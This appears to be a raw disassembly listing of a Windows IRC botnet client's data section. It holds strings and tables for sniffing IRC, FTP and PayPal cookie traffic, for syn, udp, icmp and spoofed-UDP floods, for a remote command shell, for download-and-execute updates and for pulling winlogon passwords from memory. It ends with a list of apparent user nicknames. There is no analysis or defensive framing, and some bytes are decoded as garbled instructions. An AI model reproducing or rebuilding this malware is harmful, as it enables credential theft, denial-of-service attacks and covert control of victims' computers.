dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh
dword_437474 dd 2 dup(0) ; DATA XREF: sub_562ABA+88F5o
; sub_562ABA+88FDo
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00436C54o
align 4
off_4374B8 dd offset word_505446 ; DATA XREF: ___:00436C50o
off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: ___:00436C4Co
off_4374C0 dd offset word_544F42 ; DATA XREF: ___:00436C48o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo
align 10h
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o
a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o
align 4
a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do
align 4
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo
align 10h
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper db 'oper ',0 ; DATA XREF: sub_413003+51o
align 10h
aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o
; sub_413079+2Bo
align 4
aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo
align 4
a220 db '220 ',0 ; DATA XREF: sub_413079+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o
align 10h
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo
align 4
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o
align 4
unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_413694+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_437AEC dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_4143F7+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o
dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
align 4
dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415DD8+20o
dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:00415F27o
dd 6574656Ch, 0
dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: ___:00415E8Ao
dd 676E6974h, 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437FEC db 2Dh ; - ; DATA XREF: ___:004162BEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:00416523o
; ___:004166B9o
dd 726F72h
unk_438028 db 2Dh ; - ; DATA XREF: ___:004164BBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_438054 db 2Dh ; - ; DATA XREF: ___:004163C3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:0041638Co
dd 74756Fh
dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:0041632Bo
dd 169h
unk_4380A8 db 2Dh ; - ; DATA XREF: ___:004162E8o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_4380C8 db 2Dh ; - ; DATA XREF: ___:00416243o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_4380EC db 2Dh ; - ; DATA XREF: ___:00416205o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
unk_438110 db 2Dh ; - ; DATA XREF: ___:00416734o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_43813C db 2Dh ; - ; DATA XREF: ___:0041662Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43815C db 2Dh ; - ; DATA XREF: ___:0041660Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: ___:004165FAo
unk_43818C db 2Dh ; - ; DATA XREF: ___:004165E6o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_4381BC db 2Dh ; - ; DATA XREF: ___:00416C33o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_4381E8 db 2Dh ; - ; DATA XREF: ___:00416C25o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_43821C db 2Dh ; - ; DATA XREF: ___:00416B69o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416AF8o
dd 25206465h, 73h
unk_43827C db 2Dh ; - ; DATA XREF: ___:00416A81o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_4382B4 db 2Dh ; - ; DATA XREF: ___:00416A02o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_4382DC db 2Dh ; - ; DATA XREF: ___:00416978o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_438308 db 2Dh ; - ; DATA XREF: ___:00416935o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_438330 db 2Dh ; - ; DATA XREF: ___:00416923o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_438358 db 2Dh ; - ; DATA XREF: ___:00416817o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo
; sub_419443+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o
aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o
align 4
off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo
; sub_41AF8F:loc_41B091r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o
; sub_416EFD+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co
align 10h
unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
off_438438 dd offset byte_5C3A41 ; DATA XREF: sub_416FCF:loc_417014o
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_43859C dd offset byte_530055 ; DATA XREF: sub_4172C1+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004C+1
dd offset byte_4E0049
dd 0
off_4385B4 dd offset byte_530055 ; DATA XREF: sub_4172C1+CEo
dd offset byte_520045
dd offset loc_41004C+2
dd offset byte_45004D
align 8
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
; sub_4172C1+161o ...
align 4
unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo
align 4
dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4178F9+70o
; sub_417990+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417990+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr
; "q"
; ---------------------------------------------------------------------------
sbb [ebx-4E77FFBDh], dl
inc edx
add [eax+1C0042C6h], ah
mov byte ptr [edx+0], 14h
xchg eax, ebx
inc ebx
add al, dl
scasd
inc edx
add [eax-3Ah], dh
inc edx
add [edi+ebp*4-4DE7FFBEh], ch
inc edx
add [eax-3Ah], bh
inc edx
add [eax], dl
xchg eax, ebx
inc ebx
add [ebx+edx*4], cl
inc ebx
add [eax], cl
xchg eax, ebx
inc ebx
add [ebx+edx*4], al
inc ebx
add [edi+esi*4+42h], bh
add ah, ch
retf 42h
; ---------------------------------------------------------------------------
dd offset dword_439300
; ---------------------------------------------------------------------------
cld
xchg eax, edx
inc ebx
add al, bh
xchg eax, edx
inc ebx
add al, dh
retf 42h
; ---------------------------------------------------------------------------
dd offset aV ; "v"
dd offset dword_4392F4
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_4392F0
dd offset dword_4392EC
dd offset dword_4392E8
dd offset dword_4392E4
dd offset dword_4392E0
dd offset word_4392DC
dd offset dword_4392D8
dd offset aI_0 ; "I"
dd offset dword_4392D4
dd offset dword_4392D0
dd offset aA_0 ; "A"
dd offset dword_4392CC
dd offset dword_4392C8
dd offset dword_4392C4
dd offset dword_4392C0
dd offset dword_4392BC
dd offset dword_4392B8
dd offset dword_4392B4
dd offset dword_4392B0
dd offset dword_4392AC
dd offset dword_4392A8
dd offset dword_4392A4
dd offset dword_4392A0
dd offset dword_43929C
dd offset word_439298
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_439030
dd offset off_43902C
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
